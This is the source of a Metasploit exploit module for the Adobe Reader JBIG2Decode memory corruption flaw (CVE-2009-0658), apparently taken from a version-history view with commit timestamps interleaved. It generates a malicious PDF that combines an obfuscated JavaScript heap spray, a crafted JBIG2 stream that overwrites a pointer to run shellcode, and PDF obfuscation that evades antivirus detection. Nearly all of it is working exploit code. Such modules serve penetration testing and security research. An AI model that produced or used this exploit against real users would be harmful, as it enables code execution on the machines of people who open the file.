2010-05-03 17:13:09 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
2009-03-27 00:08:19 +00:00
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'zlib'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-03-27 00:08:19 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
|
|
|
|
This module relies upon javascript for the heap spray.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2009-11-02 14:41:59 +00:00
|
|
|
'Author' =>
|
2010-06-15 07:18:08 +00:00
|
|
|
[
|
2009-03-27 00:08:19 +00:00
|
|
|
# Metasploit implementation
|
2009-11-02 14:41:59 +00:00
|
|
|
'natron',
|
2009-03-27 00:08:19 +00:00
|
|
|
# bl4cksecurity blog explanation of vuln [see References]
|
2009-11-02 14:41:59 +00:00
|
|
|
'xort', 'redsand',
|
2009-03-27 00:08:19 +00:00
|
|
|
# obfuscation techniques and pdf template from util_printf
|
2009-11-02 14:41:59 +00:00
|
|
|
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
|
2010-06-15 07:18:08 +00:00
|
|
|
],
|
2009-03-27 00:08:19 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-11-02 14:41:59 +00:00
|
|
|
'References' =>
|
2009-03-27 00:08:19 +00:00
|
|
|
[
|
|
|
|
[ 'CVE' , '2009-0658' ],
|
2009-05-12 19:56:54 +00:00
|
|
|
[ 'OSVDB', '52073' ],
|
2009-03-28 02:40:27 +00:00
|
|
|
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
|
2009-03-27 00:08:19 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
2010-09-25 11:59:02 +00:00
|
|
|
'DisablePayloadHandler' => 'true',
|
2009-03-27 00:08:19 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => ""
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2009-11-02 14:41:59 +00:00
|
|
|
[
|
2009-03-28 02:40:27 +00:00
|
|
|
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
|
|
|
|
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
|
2009-03-27 00:08:19 +00:00
|
|
|
],
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Feb 19 2009',
|
2009-03-27 00:08:19 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options([
|
2009-06-17 20:34:28 +00:00
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
2009-03-27 00:08:19 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2009-11-02 14:41:59 +00:00
|
|
|
def exploit
|
2009-03-27 00:08:19 +00:00
|
|
|
# Encode the shellcode.
|
2009-03-28 02:40:27 +00:00
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-27 02:34:40 +00:00
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-27 00:08:19 +00:00
|
|
|
# Randomize some variables
|
2009-11-02 14:41:59 +00:00
|
|
|
rand1 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand2 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand3 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand4 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand5 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand6 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand7 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand8 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand9 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand10 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand11 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand12 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand13 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand14 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand15 = rand_text_alpha(rand(50) + 1)
|
|
|
|
rand16 = rand_text_alpha(rand(50) + 1)
|
2009-03-28 02:40:27 +00:00
|
|
|
|
2009-03-27 00:08:19 +00:00
|
|
|
script = %Q|
|
|
|
|
var #{rand1} = "";
|
|
|
|
var #{rand2} = "";
|
|
|
|
var #{rand3} = unescape("#{shellcode}");
|
2009-03-28 02:40:27 +00:00
|
|
|
var #{rand4} = "";
|
2009-03-27 02:32:13 +00:00
|
|
|
|
2009-03-27 00:08:19 +00:00
|
|
|
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
|
|
|
|
#{rand6} = #{rand4} + #{rand3};
|
|
|
|
#{rand7} = unescape("#{nops}");
|
|
|
|
#{rand8} = 20;
|
|
|
|
#{rand9} = #{rand8}+#{rand6}.length
|
|
|
|
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
|
|
|
|
#{rand10} = #{rand7}.substring(0, #{rand9});
|
|
|
|
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
|
2009-03-28 02:40:27 +00:00
|
|
|
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
|
2009-03-27 00:08:19 +00:00
|
|
|
#{rand12} = new Array();
|
2009-03-28 02:40:27 +00:00
|
|
|
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
|
|
|
|
|
|
|
|
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
|
2009-03-27 00:08:19 +00:00
|
|
|
#{rand13} = #{rand2}.length + 20
|
|
|
|
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
|
|
|
|
#{rand14} = #{rand2}.substring(0, #{rand13});
|
|
|
|
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
|
2009-03-28 02:40:27 +00:00
|
|
|
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
|
2009-03-27 00:08:19 +00:00
|
|
|
#{rand16} = new Array();
|
2009-03-28 02:40:27 +00:00
|
|
|
for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
2009-11-02 14:41:59 +00:00
|
|
|
|
|
2009-03-28 02:40:27 +00:00
|
|
|
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
|
|
|
|
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
|
2009-03-31 16:46:50 +00:00
|
|
|
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
|
|
|
|
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
|
|
|
|
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
|
|
|
|
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
|
2009-03-28 02:40:27 +00:00
|
|
|
|
|
|
|
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
|
2009-03-27 00:08:19 +00:00
|
|
|
|
|
|
|
# Create the pdf
|
|
|
|
pdf = make_pdf(script, jbig2stream)
|
|
|
|
|
2009-11-02 14:41:59 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
2009-03-27 00:08:19 +00:00
|
|
|
|
|
|
|
file_create(pdf)
|
|
|
|
end
|
|
|
|
|
|
|
|
def RandomNonASCIIString(count)
|
|
|
|
result = ""
|
|
|
|
count.times do
|
|
|
|
result << (rand(128) + 128).chr
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-27 00:08:19 +00:00
|
|
|
def ioDef(id)
|
|
|
|
"%d 0 obj" % id
|
|
|
|
end
|
|
|
|
|
|
|
|
def ioRef(id)
|
|
|
|
"%d 0 R" % id
|
|
|
|
end
|
|
|
|
|
|
|
|
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
|
|
|
def nObfu(str)
|
|
|
|
result = ""
|
|
|
|
str.scan(/./u) do |c|
|
|
|
|
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
2009-06-22 13:21:08 +00:00
|
|
|
result << "#%x" % c.unpack("C*")[0]
|
2009-11-02 14:41:59 +00:00
|
|
|
# Randomize the spaces and newlines
|
2009-03-27 00:08:19 +00:00
|
|
|
elsif c == " "
|
|
|
|
result << " " * (rand(3) + 1)
|
|
|
|
if rand(2) == 0
|
|
|
|
result << "\x0d\x0a"
|
|
|
|
result << " " * rand(2)
|
|
|
|
end
|
|
|
|
else
|
|
|
|
result << c
|
|
|
|
end
|
|
|
|
end
|
|
|
|
result
|
|
|
|
end
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-27 00:08:19 +00:00
|
|
|
def ASCIIHexWhitespaceEncode(str)
|
|
|
|
result = ""
|
|
|
|
whitespace = ""
|
|
|
|
str.each_byte do |b|
|
2009-06-22 13:22:50 +00:00
|
|
|
result << whitespace << "%02x" % b
|
2009-03-27 00:08:19 +00:00
|
|
|
whitespace = " " * (rand(3) + 1)
|
|
|
|
end
|
|
|
|
result << ">"
|
|
|
|
end
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-27 00:08:19 +00:00
|
|
|
def make_pdf(js, jbig2)
|
|
|
|
|
|
|
|
xref = []
|
|
|
|
eol = "\x0d\x0a"
|
|
|
|
endobj = "endobj" << eol
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-11-22 01:01:11 +00:00
|
|
|
pdf = "%PDF-1.5" << eol
|
2009-03-27 00:08:19 +00:00
|
|
|
pdf << "%" << RandomNonASCIIString(4) << eol
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
|
|
|
|
xref << pdf.length
|
|
|
|
pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
|
|
|
|
xref << pdf.length
|
|
|
|
|
|
|
|
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
|
|
|
|
pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
|
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << compressed << eol
|
|
|
|
pdf << "endstream" << eol
|
|
|
|
pdf << endobj
|
|
|
|
xref << pdf.length
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-28 02:40:27 +00:00
|
|
|
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
|
2009-11-02 14:41:59 +00:00
|
|
|
|
2009-03-28 02:40:27 +00:00
|
|
|
xref << pdf.length
|
2010-02-08 21:37:07 +00:00
|
|
|
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
|
2009-03-28 02:40:27 +00:00
|
|
|
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
|
|
|
|
pdf << "stream" << eol
|
|
|
|
pdf << compressed << eol
|
|
|
|
pdf << "endstream" << eol
|
|
|
|
pdf << endobj
|
2009-03-27 00:08:19 +00:00
|
|
|
|
|
|
|
xrefPosition = pdf.length
|
|
|
|
pdf << "xref" << eol
|
|
|
|
pdf << "0 %d" % (xref.length + 1) << eol
|
|
|
|
pdf << "0000000000 65535 f" << eol
|
|
|
|
xref.each do |index|
|
|
|
|
pdf << "%010d 00000 n" % index << eol
|
|
|
|
end
|
|
|
|
pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
|
|
|
|
pdf << "startxref" << eol
|
|
|
|
pdf << xrefPosition.to_s() << eol
|
|
|
|
pdf << "%%EOF" << eol
|
|
|
|
end
|
|
|
|
|
2009-05-12 19:56:54 +00:00
|
|
|
end
|
2009-11-02 14:41:59 +00:00
|
|
|
|